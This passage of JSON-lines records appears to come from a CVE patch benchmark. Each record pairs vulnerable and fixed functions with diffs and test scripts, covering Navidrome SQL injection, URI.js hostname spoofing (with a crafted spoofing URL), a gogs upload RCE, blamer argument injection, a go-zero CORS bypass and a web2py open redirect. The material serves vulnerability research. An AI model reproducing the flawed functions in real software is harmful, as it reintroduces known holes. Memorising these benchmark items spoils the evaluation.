n.Element.Children {\n\t\tif find, ok := onlyPathHoistNamesInternal(p[1:], s, c); ok {\n\t\t\treturn find, true\n\t\t}\n\t}\n\n\treturn uxml.Node{}, false\n}"}], "vul_patch": "--- a/internal/saml/dsig/path.go\n+++ b/internal/saml/dsig/path.go\n@@ -43,6 +43,19 @@\n \t\t}}, true\n \t}\n \n+\t// if multiple children match the next path segment (p[1]) then refuse to find a match\n+\tvar nextSegmentMatch bool\n+\tfor _, c := range n.Element.Children {\n+\t\tif c.Element != nil && c.Element.Name.URI == p[1].URI && c.Element.Name.Local == p[1].Local {\n+\t\t\tif nextSegmentMatch {\n+\t\t\t\t// existing match; refuse to proceed\n+\t\t\t\treturn uxml.Node{}, false\n+\t\t\t}\n+\n+\t\t\tnextSegmentMatch = true\n+\t\t}\n+\t}\n+\n \tfor _, c := range n.Element.Children {\n \t\tif find, ok := onlyPathHoistNamesInternal(p[1:], s, c); ok {\n \t\t\treturn find, true\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23857", "cve_description": "model/criteria/criteria.go in Navidrome before 0.47.5 is vulnerable to SQL injection attacks when processing crafted Smart Playlists. An authenticated user could abuse this to extract arbitrary data from the database, including the user table (which contains sensitive information such as the users' encrypted passwords).", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/navidrome/navidrome", "patch_url": ["https://github.com/navidrome/navidrome/commit/9e79b5cbf2a48c1e4344df00fea4ed3844ea965d"], "programing_language": "Go", "vul_func": [{"id": "vul_go_29_1", "commit": "8c707b4", "file_path": "model/criteria/criteria.go", "start_line": 24, "end_line": 44, "snippet": "func (c Criteria) OrderBy() string {\n\tif c.Sort == \"\" {\n\t\tc.Sort = \"title\"\n\t}\n\tf := fieldMap[strings.ToLower(c.Sort)]\n\tvar mapped string\n\tif f == nil {\n\t\tlog.Error(\"Invalid field in 'sort' field\", \"field\", c.Sort)\n\t\tmapped = c.Sort\n\t} else {\n\t\tif f.order == \"\" {\n\t\t\tmapped = f.field\n\t\t} else {\n\t\t\tmapped = f.order\n\t\t}\n\t}\n\tif c.Order != \"\" {\n\t\tmapped = mapped + \" \" + c.Order\n\t}\n\treturn mapped\n}"}], "fix_func": [{"id": "fix_go_29_1", "commit": "9e79b5c", "file_path": "model/criteria/criteria.go", "start_line": 24, "end_line": 48, "snippet": "func (c Criteria) OrderBy() string {\n\tif c.Sort == \"\" {\n\t\tc.Sort = \"title\"\n\t}\n\tf := fieldMap[strings.ToLower(c.Sort)]\n\tvar mapped string\n\tif f == nil {\n\t\tlog.Error(\"Invalid field in 'sort' field. Using 'title'\", \"sort\", c.Sort)\n\t\tmapped = fieldMap[\"title\"].field\n\t} else {\n\t\tif f.order == \"\" {\n\t\t\tmapped = f.field\n\t\t} else {\n\t\t\tmapped = f.order\n\t\t}\n\t}\n\tif c.Order != \"\" {\n\t\tif strings.EqualFold(c.Order, \"asc\") || strings.EqualFold(c.Order, \"desc\") {\n\t\t\tmapped = mapped + \" \" + c.Order\n\t\t} else {\n\t\t\tlog.Error(\"Invalid value in 'order' field. Valid values: 'asc', 'desc'\", \"order\", c.Order)\n\t\t}\n\t}\n\treturn mapped\n}"}], "vul_patch": "--- a/model/criteria/criteria.go\n+++ b/model/criteria/criteria.go\n@@ -5,8 +5,8 @@\n \tf := fieldMap[strings.ToLower(c.Sort)]\n \tvar mapped string\n \tif f == nil {\n-\t\tlog.Error(\"Invalid field in 'sort' field\", \"field\", c.Sort)\n-\t\tmapped = c.Sort\n+\t\tlog.Error(\"Invalid field in 'sort' field. Using 'title'\", \"sort\", c.Sort)\n+\t\tmapped = fieldMap[\"title\"].field\n \t} else {\n \t\tif f.order == \"\" {\n \t\t\tmapped = f.field\n@@ -15,7 +15,11 @@\n \t\t}\n \t}\n \tif c.Order != \"\" {\n-\t\tmapped = mapped + \" \" + c.Order\n+\t\tif strings.EqualFold(c.Order, \"asc\") || strings.EqualFold(c.Order, \"desc\") {\n+\t\t\tmapped = mapped + \" \" + c.Order\n+\t\t} else {\n+\t\t\tlog.Error(\"Invalid value in 'order' field. Valid values: 'asc', 'desc'\", \"order\", c.Order)\n+\t\t}\n \t}\n \treturn mapped\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23857:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/navidrome\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestCriteriaOrderBy$ github.com/navidrome/navidrome/model/criteria\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-23857:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/navidrome\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd model/criteria && go test  -timeout 30s 2>/dev/null github.com/navidrome/navidrome/model/criteria\n"}
{"cve_id": "CVE-2020-26291", "cve_description": "URI.js is a javascript URL mutation library (npm package urijs). In URI.js before version 1.19.4, the hostname can be spoofed by using a backslash (`\\`) character followed by an at (`@`) character. If the hostname is used in security decisions, the decision may be incorrect. Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior. For example the URL `https://expected-example.com\\@observed-example.com` will incorrectly return `observed-example.com` if using an affected version. Patched versions correctly return `expected-example.com`. Patched versions match the behavior of other parsers which implement the WHATWG URL specification, including web browsers and Node's built-in URL class. Version 1.19.4 is patched against all known payload variants. Version 1.19.3 has a partial patch but is still vulnerable to a payload variant.]", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/medialize/URI.js", "patch_url": ["https://github.com/medialize/URI.js/commit/b02bf037c99ac9316b77ff8bfd840e90becf1155"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_193_1", "commit": "d7064ab", "file_path": "src/URI.js", "start_line": 613, "end_line": 634, "snippet": "  URI.parseUserinfo = function(string, parts) {\n    // extract username:password\n    var firstBackSlash = string.indexOf('\\\\');\n    var firstSlash = string.indexOf('/');\n    var slash = firstBackSlash === -1 ? firstSlash : (firstSlash !== -1 ? Math.min(firstBackSlash, firstSlash): firstSlash)\n    var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);\n    var t;\n\n    // authority@ must come before /path or \\path\n    if (pos > -1 && (slash === -1 || pos < slash)) {\n      t = string.substring(0, pos).split(':');\n      parts.username = t[0] ? URI.decode(t[0]) : null;\n      t.shift();\n      parts.password = t[0] ? URI.decode(t.join(':')) : null;\n      string = string.substring(pos + 1);\n    } else {\n      parts.username = null;\n      parts.password = null;\n    }\n\n    return string;\n  };"}], "fix_func": [{"id": "fix_js_193_1", "commit": "b02bf03", "file_path": "src/URI.js", "start_line": 613, "end_line": 637, "snippet": "  URI.parseUserinfo = function(string, parts) {\n    // extract username:password\n    var _string = string\n    var firstBackSlash = string.indexOf('\\\\');\n    if (firstBackSlash !== -1) {\n      string = string.replace(/\\\\/g, '/')\n    }\n    var firstSlash = string.indexOf('/');\n    var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);\n    var t;\n\n    // authority@ must come before /path or \\path\n    if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) {\n      t = string.substring(0, pos).split(':');\n      parts.username = t[0] ? URI.decode(t[0]) : null;\n      t.shift();\n      parts.password = t[0] ? URI.decode(t.join(':')) : null;\n      string = _string.substring(pos + 1);\n    } else {\n      parts.username = null;\n      parts.password = null;\n    }\n\n    return string;\n  };"}], "vul_patch": "--- a/src/URI.js\n+++ b/src/URI.js\n@@ -1,18 +1,21 @@\n   URI.parseUserinfo = function(string, parts) {\n     // extract username:password\n+    var _string = string\n     var firstBackSlash = string.indexOf('\\\\');\n+    if (firstBackSlash !== -1) {\n+      string = string.replace(/\\\\/g, '/')\n+    }\n     var firstSlash = string.indexOf('/');\n-    var slash = firstBackSlash === -1 ? firstSlash : (firstSlash !== -1 ? Math.min(firstBackSlash, firstSlash): firstSlash)\n     var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);\n     var t;\n \n     // authority@ must come before /path or \\path\n-    if (pos > -1 && (slash === -1 || pos < slash)) {\n+    if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) {\n       t = string.substring(0, pos).split(':');\n       parts.username = t[0] ? URI.decode(t[0]) : null;\n       t.shift();\n       parts.password = t[0] ? URI.decode(t.join(':')) : null;\n-      string = string.substring(pos + 1);\n+      string = _string.substring(pos + 1);\n     } else {\n       parts.username = null;\n       parts.password = null;\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0415", "cve_description": "Remote Command Execution in uploading repository file in GitHub repository gogs/gogs prior to 0.12.6.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/0fef3c9082269e9a4e817274942a5d7c50617284"], "programing_language": "Go", "vul_func": [{"id": "vul_go_151_1", "commit": "5aca56d", "file_path": "internal/db/repo_editor.go", "start_line": 452, "end_line": 520, "snippet": "func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {\n\tif len(opts.Files) == 0 {\n\t\treturn nil\n\t}\n\n\tuploads, err := GetUploadsByUUIDs(opts.Files)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"get uploads by UUIDs[%v]: %v\", opts.Files, err)\n\t}\n\n\trepoWorkingPool.CheckIn(com.ToStr(repo.ID))\n\tdefer repoWorkingPool.CheckOut(com.ToStr(repo.ID))\n\n\tif err = repo.DiscardLocalRepoBranchChanges(opts.OldBranch); err != nil {\n\t\treturn fmt.Errorf(\"discard local repo branch[%s] changes: %v\", opts.OldBranch, err)\n\t} else if err = repo.UpdateLocalCopyBranch(opts.OldBranch); err != nil {\n\t\treturn fmt.Errorf(\"update local copy branch[%s]: %v\", opts.OldBranch, err)\n\t}\n\n\tif opts.OldBranch != opts.NewBranch {\n\t\tif err = repo.CheckoutNewBranch(opts.OldBranch, opts.NewBranch); err != nil {\n\t\t\treturn fmt.Errorf(\"checkout new branch[%s] from old branch[%s]: %v\", opts.NewBranch, opts.OldBranch, err)\n\t\t}\n\t}\n\n\tlocalPath := repo.LocalCopyPath()\n\tdirPath := path.Join(localPath, opts.TreePath)\n\tif err = os.MkdirAll(dirPath, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\n\t// Copy uploaded files into repository\n\tfor _, upload := range uploads {\n\t\ttmpPath := upload.LocalPath()\n\t\tif !osutil.IsFile(tmpPath) {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.\n\t\tif isRepositoryGitPath(upload.Name) {\n\t\t\tcontinue\n\t\t}\n\n\t\ttargetPath := path.Join(dirPath, upload.Name)\n\t\tif err = com.Copy(tmpPath, targetPath); err != nil {\n\t\t\treturn fmt.Errorf(\"copy: %v\", err)\n\t\t}\n\t}\n\n\tif err = git.RepoAdd(localPath, git.AddOptions{All: true}); err != nil {\n\t\treturn fmt.Errorf(\"git add --all: %v\", err)\n\t} else if err = git.RepoCommit(localPath, doer.NewGitSig(), opts.Message); err != nil {\n\t\treturn fmt.Errorf(\"commit changes on %q: %v\", localPath, err)\n\t}\n\n\tenvs := ComposeHookEnvs(ComposeHookEnvsOptions{\n\t\tAuthUser:  doer,\n\t\tOwnerName: repo.MustOwner().Name,\n\t\tOwnerSalt: repo.MustOwner().Salt,\n\t\tRepoID:    repo.ID,\n\t\tRepoName:  repo.Name,\n\t\tRepoPath:  repo.RepoPath(),\n\t})\n\tif err = git.RepoPush(localPath, \"origin\", opts.NewBranch, git.PushOptions{Envs: envs}); err != nil {\n\t\treturn fmt.Errorf(\"git push origin %s: %v\", opts.NewBranch, err)\n\t}\n\n\treturn DeleteUploads(uploads...)\n}"}], "fix_func": [{"id": "fix_go_151_1", "commit": "0fef3c9", "file_path": "internal/db/repo_editor.go", "start_line": 454, "end_line": 529, "snippet": "func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) error {\n\tif len(opts.Files) == 0 {\n\t\treturn nil\n\t}\n\n\t// Prevent uploading files into the \".git\" directory\n\tif isRepositoryGitPath(opts.TreePath) {\n\t\treturn errors.Errorf(\"bad tree path %q\", opts.TreePath)\n\t}\n\n\tuploads, err := GetUploadsByUUIDs(opts.Files)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"get uploads by UUIDs[%v]: %v\", opts.Files, err)\n\t}\n\n\trepoWorkingPool.CheckIn(com.ToStr(repo.ID))\n\tdefer repoWorkingPool.CheckOut(com.ToStr(repo.ID))\n\n\tif err = repo.DiscardLocalRepoBranchChanges(opts.OldBranch); err != nil {\n\t\treturn fmt.Errorf(\"discard local repo branch[%s] changes: %v\", opts.OldBranch, err)\n\t} else if err = repo.UpdateLocalCopyBranch(opts.OldBranch); err != nil {\n\t\treturn fmt.Errorf(\"update local copy branch[%s]: %v\", opts.OldBranch, err)\n\t}\n\n\tif opts.OldBranch != opts.NewBranch {\n\t\tif err = repo.CheckoutNewBranch(opts.OldBranch, opts.NewBranch); err != nil {\n\t\t\treturn fmt.Errorf(\"checkout new branch[%s] from old branch[%s]: %v\", opts.NewBranch, opts.OldBranch, err)\n\t\t}\n\t}\n\n\tlocalPath := repo.LocalCopyPath()\n\tdirPath := path.Join(localPath, opts.TreePath)\n\tif err = os.MkdirAll(dirPath, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\n\t// Copy uploaded files into repository\n\tfor _, upload := range uploads {\n\t\ttmpPath := upload.LocalPath()\n\t\tif !osutil.IsFile(tmpPath) {\n\t\t\tcontinue\n\t\t}\n\n\t\tupload.Name = pathutil.Clean(upload.Name)\n\n\t\t// Prevent uploading files into the \".git\" directory\n\t\tif isRepositoryGitPath(upload.Name) {\n\t\t\tcontinue\n\t\t}\n\n\t\ttargetPath := path.Join(dirPath, upload.Name)\n\t\tif err = com.Copy(tmpPath, targetPath); err != nil {\n\t\t\treturn fmt.Errorf(\"copy: %v\", err)\n\t\t}\n\t}\n\n\tif err = git.RepoAdd(localPath, git.AddOptions{All: true}); err != nil {\n\t\treturn fmt.Errorf(\"git add --all: %v\", err)\n\t} else if err = git.RepoCommit(localPath, doer.NewGitSig(), opts.Message); err != nil {\n\t\treturn fmt.Errorf(\"commit changes on %q: %v\", localPath, err)\n\t}\n\n\tenvs := ComposeHookEnvs(ComposeHookEnvsOptions{\n\t\tAuthUser:  doer,\n\t\tOwnerName: repo.MustOwner().Name,\n\t\tOwnerSalt: repo.MustOwner().Salt,\n\t\tRepoID:    repo.ID,\n\t\tRepoName:  repo.Name,\n\t\tRepoPath:  repo.RepoPath(),\n\t})\n\tif err = git.RepoPush(localPath, \"origin\", opts.NewBranch, git.PushOptions{Envs: envs}); err != nil {\n\t\treturn fmt.Errorf(\"git push origin %s: %v\", opts.NewBranch, err)\n\t}\n\n\treturn DeleteUploads(uploads...)\n}"}], "vul_patch": "--- a/internal/db/repo_editor.go\n+++ b/internal/db/repo_editor.go\n@@ -1,6 +1,11 @@\n-func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) (err error) {\n+func (repo *Repository) UploadRepoFiles(doer *User, opts UploadRepoFileOptions) error {\n \tif len(opts.Files) == 0 {\n \t\treturn nil\n+\t}\n+\n+\t// Prevent uploading files into the \".git\" directory\n+\tif isRepositoryGitPath(opts.TreePath) {\n+\t\treturn errors.Errorf(\"bad tree path %q\", opts.TreePath)\n \t}\n \n \tuploads, err := GetUploadsByUUIDs(opts.Files)\n@@ -36,7 +41,9 @@\n \t\t\tcontinue\n \t\t}\n \n-\t\t// Prevent copying files into .git directory, see https://gogs.io/gogs/issues/5558.\n+\t\tupload.Name = pathutil.Clean(upload.Name)\n+\n+\t\t// Prevent uploading files into the \".git\" directory\n \t\tif isRepositoryGitPath(upload.Name) {\n \t\t\tcontinue\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-26143", "cve_description": "Versions of the package blamer before 1.0.4 are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.", "cwe_info": {"CWE-88": {"name": "Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')", "description": "The product constructs a string for a command to be executed by a separate component\nin another control sphere, but it does not properly delimit the\nintended arguments, options, or switches within that command string."}}, "repo": "https://github.com/kucherenko/blamer", "patch_url": ["https://github.com/kucherenko/blamer/commit/0965877f115753371a2570f10a63c455d2b2cde3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_253_1", "commit": "530d215", "file_path": "src/vcs/git.spec.ts", "start_line": "15", "end_line": "18", "snippet": "const { git } = proxyquire('./git', {\n  execa: stubExeca,\n  which: stubWhich\n});"}, {"id": "vul_js_253_2", "commit": "530d215", "file_path": "src/vcs/git.ts", "start_line": "20", "end_line": "35", "snippet": "export async function git(path: string): Promise<BlameResult> {\n  const blamedLines: { [line: string]: BlamedLine } = {};\n  const pathToGit: string = await which('git');\n  const result = execa.sync(pathToGit, ['blame', '-w', path]);\n  result.stdout.split('\\n').forEach(line => {\n    if (line !== '') {\n      const blamedLine = convertStringToObject(line);\n      if (blamedLine.line) {\n        blamedLines[blamedLine.line] = blamedLine;\n      }\n    }\n  });\n  return {\n    [path]: blamedLines\n  };\n}"}], "fix_func": [{"id": "fix_js_253_1", "commit": "0965877", "file_path": "src/vcs/git.spec.ts", "start_line": "15", "end_line": "19", "snippet": "const { git } = proxyquire('./git', {\n  execa: stubExeca,\n  which: stubWhich,\n  'node:fs': {existsSync: sinon.stub().returns(true)}\n});"}, {"id": "fix_js_253_2", "commit": "0965877", "file_path": "src/vcs/git.ts", "start_line": "21", "end_line": "41", "snippet": "export async function git(path: string): Promise<BlameResult> {\n  const blamedLines: { [line: string]: BlamedLine } = {};\n  const pathToGit: string = await which('git');\n\n  if (!existsSync(path)) {\n    throw new Error(`File ${path} does not exist`);\n  }\n\n  const result = execa.sync(pathToGit, ['blame', '-w', path]);\n  result.stdout.split('\\n').forEach(line => {\n    if (line !== '') {\n      const blamedLine = convertStringToObject(line);\n      if (blamedLine.line) {\n        blamedLines[blamedLine.line] = blamedLine;\n      }\n    }\n  });\n  return {\n    [path]: blamedLines\n  };\n}"}, {"id": "fix_js_253_3", "commit": "0965877", "file_path": "src/vcs/git.ts", "start_line": "4", "end_line": "4", "snippet": "import { existsSync } from 'node:fs';"}], "vul_patch": "--- a/src/vcs/git.spec.ts\n+++ b/src/vcs/git.spec.ts\n@@ -1,4 +1,5 @@\n const { git } = proxyquire('./git', {\n   execa: stubExeca,\n-  which: stubWhich\n+  which: stubWhich,\n+  'node:fs': {existsSync: sinon.stub().returns(true)}\n });\n\n--- a/src/vcs/git.ts\n+++ b/src/vcs/git.ts\n@@ -1,6 +1,11 @@\n export async function git(path: string): Promise<BlameResult> {\n   const blamedLines: { [line: string]: BlamedLine } = {};\n   const pathToGit: string = await which('git');\n+\n+  if (!existsSync(path)) {\n+    throw new Error(`File ${path} does not exist`);\n+  }\n+\n   const result = execa.sync(pathToGit, ['blame', '-w', path]);\n   result.stdout.split('\\n').forEach(line => {\n     if (line !== '') {\n\n--- /dev/null\n+++ b/src/vcs/git.ts\n@@ -0,0 +1 @@\n+import { existsSync } from 'node:fs';\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-27302", "cve_description": "go-zero is a web and rpc framework. Go-zero allows user to specify a CORS Filter with a configurable allows param - which is an array of domains allowed in CORS policy. However, the `isOriginAllowed` uses `strings.HasSuffix` to check the origin, which leads to bypass via a malicious domain. This vulnerability is capable of breaking CORS policy and thus allowing any page to make requests and/or retrieve data on behalf of other users. Version 1.4.4 fixes this issue.\n", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/zeromicro/go-zero", "patch_url": ["https://github.com/zeromicro/go-zero/commit/d9d79e930dff6218a873f4f02115df61c38b15db"], "programing_language": "Go", "vul_func": [{"id": "vul_go_11_1", "commit": "d953675", "file_path": "rest/internal/cors/handlers.go", "start_line": 79, "end_line": 91, "snippet": "func isOriginAllowed(allows []string, origin string) bool {\n\tfor _, o := range allows {\n\t\tif o == allOrigins {\n\t\t\treturn true\n\t\t}\n\n\t\tif strings.HasSuffix(origin, o) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_11_1", "commit": "d9d79e9", "file_path": "rest/internal/cors/handlers.go", "start_line": 79, "end_line": 97, "snippet": "func isOriginAllowed(allows []string, origin string) bool {\n\torigin = strings.ToLower(origin)\n\tfor _, allow := range allows {\n\t\tif allow == allOrigins {\n\t\t\treturn true\n\t\t}\n\n\t\tallow = strings.ToLower(allow)\n\t\tif origin == allow {\n\t\t\treturn true\n\t\t}\n\n\t\tif strings.HasSuffix(origin, \".\"+allow) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}"}], "vul_patch": "--- a/rest/internal/cors/handlers.go\n+++ b/rest/internal/cors/handlers.go\n@@ -1,10 +1,16 @@\n func isOriginAllowed(allows []string, origin string) bool {\n-\tfor _, o := range allows {\n-\t\tif o == allOrigins {\n+\torigin = strings.ToLower(origin)\n+\tfor _, allow := range allows {\n+\t\tif allow == allOrigins {\n \t\t\treturn true\n \t\t}\n \n-\t\tif strings.HasSuffix(origin, o) {\n+\t\tallow = strings.ToLower(allow)\n+\t\tif origin == allow {\n+\t\t\treturn true\n+\t\t}\n+\n+\t\tif strings.HasSuffix(origin, \".\"+allow) {\n \t\t\treturn true\n \t\t}\n \t}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-27302:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/go-zero\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestCorsHandlerWithOrigins$ github.com/zeromicro/go-zero/rest/internal/cors\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-27302:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/go-zero\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestCorsHandlerWithOrigins)$' github.com/zeromicro/go-zero/rest/internal/cors\n"}
{"cve_id": "CVE-2015-6961", "cve_description": "Open redirect vulnerability in gluon/tools.py in Web2py 2.9.11 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the _next parameter to user/logout.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/web2py/web2py", "patch_url": ["https://github.com/web2py/web2py/commit/e31a099cb3456fef471886339653430ae59056b0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_405_1", "commit": "cc7e10d2166976f201f9be056194c566647f1d33", "file_path": "gluon/tools.py", "start_line": 1540, "end_line": 1544, "snippet": "    def get_vars_next(self):\n        next = current.request.vars._next\n        if isinstance(next, (list, tuple)):\n            next = next[0]\n        return next"}, {"id": "vul_py_405_2", "commit": "cc7e10d2166976f201f9be056194c566647f1d33", "file_path": "gluon/tools.py", "start_line": 2482, "end_line": 2807, "snippet": "    def login(self,\n              next=DEFAULT,\n              onvalidation=DEFAULT,\n              onaccept=DEFAULT,\n              log=DEFAULT,\n              ):\n        \"\"\"\n        Returns a login form\n        \"\"\"\n\n        table_user = self.table_user()\n        settings = self.settings\n        if 'username' in table_user.fields or \\\n                not settings.login_email_validate:\n            tmpvalidator = IS_NOT_EMPTY(error_message=self.messages.is_empty)\n            if not settings.username_case_sensitive:\n                tmpvalidator = [IS_LOWER(), tmpvalidator]\n        else:\n            tmpvalidator = IS_EMAIL(error_message=self.messages.invalid_email)\n            if not settings.email_case_sensitive:\n                tmpvalidator = [IS_LOWER(), tmpvalidator]\n\n        request = current.request\n        response = current.response\n        session = current.session\n\n        passfield = settings.password_field\n        try:\n            table_user[passfield].requires[-1].min_length = 0\n        except:\n            pass\n\n        ### use session for federated login\n        snext = self.get_vars_next()\n        if snext and self.settings.prevent_open_redirect_attacks:\n            items = snext.split('/')\n            if '//' in snext and items[2] != request.env.http_host:\n                snext = None\n\n        if snext:\n            session._auth_next = snext\n        elif session._auth_next:\n            snext = session._auth_next\n        ### pass\n\n        if next is DEFAULT:\n            # important for security\n            next = settings.login_next\n            if callable(next):\n                next = next()\n            user_next = snext\n            if user_next:\n                external = user_next.split('://')\n                if external[0].lower() in ['http', 'https', 'ftp']:\n                    host_next = user_next.split('//', 1)[-1].split('/')[0]\n                    if host_next in settings.cas_domains:\n                        next = user_next\n                else:\n                    next = user_next\n        if onvalidation is DEFAULT:\n            onvalidation = settings.login_onvalidation\n        if onaccept is DEFAULT:\n            onaccept = settings.login_onaccept\n        if log is DEFAULT:\n            log = self.messages['login_log']\n\n        onfail = settings.login_onfail\n\n        user = None  # default\n\n\n        #Setup the default field used for the form\n        multi_login = False\n        if self.settings.login_userfield:\n            username = self.settings.login_userfield\n        else:\n            if 'username' in table_user.fields:\n                username = 'username'\n            else:\n                username = 'email'\n            if self.settings.multi_login:\n                multi_login = True\n        old_requires = table_user[username].requires\n        table_user[username].requires = tmpvalidator\n\n        # If two-factor authentication is enabled, and the maximum\n        # number of tries allowed is used up, reset the session to\n        # pre-login state with two-factor auth\n        if session.auth_two_factor_enabled and session.auth_two_factor_tries_left < 1:\n            # Exceeded maximum allowed tries for this code. Require user to enter\n            # username and password again.\n            user = None\n            accepted_form = False\n            self._reset_two_factor_auth(session)\n            # Redirect to the default 'next' page without logging\n            # in. If that page requires login, user will be redirected\n            # back to the main login form\n            redirect(next, client_side=settings.client_side)\n\n        # Before showing the default login form, check whether\n        # we are already on the second step of two-step authentication.\n        # If we are, then skip this login form and use the form for the\n        # second challenge instead.\n        # Note to devs: The code inside the if-block is unchanged from the\n        # previous version of this file, other than for indentation inside\n        # to put it inside the if-block\n        if session.auth_two_factor_user is None:\n\n            if settings.remember_me_form:\n                extra_fields = [\n                    Field('remember_me', 'boolean', default=False,\n                          label = self.messages.label_remember_me)]\n            else:\n                extra_fields = []\n\n            # do we use our own login form, or from a central source?\n            if settings.login_form == self:\n                form = SQLFORM(\n                    table_user,\n                    fields=[username, passfield],\n                    hidden=dict(_next=next),\n                    showid=settings.showid,\n                    submit_button=self.messages.login_button,\n                    delete_label=self.messages.delete_label,\n                    formstyle=settings.formstyle,\n                    separator=settings.label_separator,\n                    extra_fields = extra_fields,\n                )\n\n\n                captcha = settings.login_captcha or \\\n                    (settings.login_captcha != False and settings.captcha)\n                if captcha:\n                    addrow(form, captcha.label, captcha, captcha.comment,\n                           settings.formstyle, 'captcha__row')\n                accepted_form = False\n\n                if form.accepts(request, session if self.csrf_prevention else None,\n                                formname='login', dbio=False,\n                                onvalidation=onvalidation,\n                                hideerror=settings.hideerror):\n\n                    accepted_form = True\n                    # check for username in db\n                    entered_username = form.vars[username]\n                    if multi_login and '@' in entered_username:\n                        # if '@' in username check for email, not username\n                        user = table_user(email = entered_username)\n                    else:\n                        user = table_user(**{username: entered_username})\n                    if user:\n                        # user in db, check if registration pending or disabled\n                        temp_user = user\n                        if temp_user.registration_key == 'pending':\n                            response.flash = self.messages.registration_pending\n                            return form\n                        elif temp_user.registration_key in ('disabled', 'blocked'):\n                            response.flash = self.messages.login_disabled\n                            return form\n                        elif (not temp_user.registration_key is None\n                              and temp_user.registration_key.strip()):\n                            response.flash = \\\n                                self.messages.registration_verifying\n                            return form\n                        # try alternate logins 1st as these have the\n                        # current version of the password\n                        user = None\n                        for login_method in settings.login_methods:\n                            if login_method != self and \\\n                                    login_method(request.vars[username],\n                                                 request.vars[passfield]):\n                                if not self in settings.login_methods:\n                                    # do not store password in db\n                                    form.vars[passfield] = None\n                                user = self.get_or_create_user(\n                                    form.vars, settings.update_fields)\n                                break\n                        if not user:\n                            # alternates have failed, maybe because service inaccessible\n                            if settings.login_methods[0] == self:\n                                # try logging in locally using cached credentials\n                                if form.vars.get(passfield, '') == temp_user[passfield]:\n                                    # success\n                                    user = temp_user\n                    else:\n                        # user not in db\n                        if not settings.alternate_requires_registration:\n                            # we're allowed to auto-register users from external systems\n                            for login_method in settings.login_methods:\n                                if login_method != self and \\\n                                        login_method(request.vars[username],\n                                                     request.vars[passfield]):\n                                    if not self in settings.login_methods:\n                                        # do not store password in db\n                                        form.vars[passfield] = None\n                                    user = self.get_or_create_user(\n                                        form.vars, settings.update_fields)\n                                    break\n                    if not user:\n                        self.log_event(self.messages['login_failed_log'],\n                                       request.post_vars)\n                        # invalid login\n                        session.flash = self.messages.invalid_login\n                        callback(onfail, None)\n                        redirect(\n                            self.url(args=request.args, vars=request.get_vars),\n                            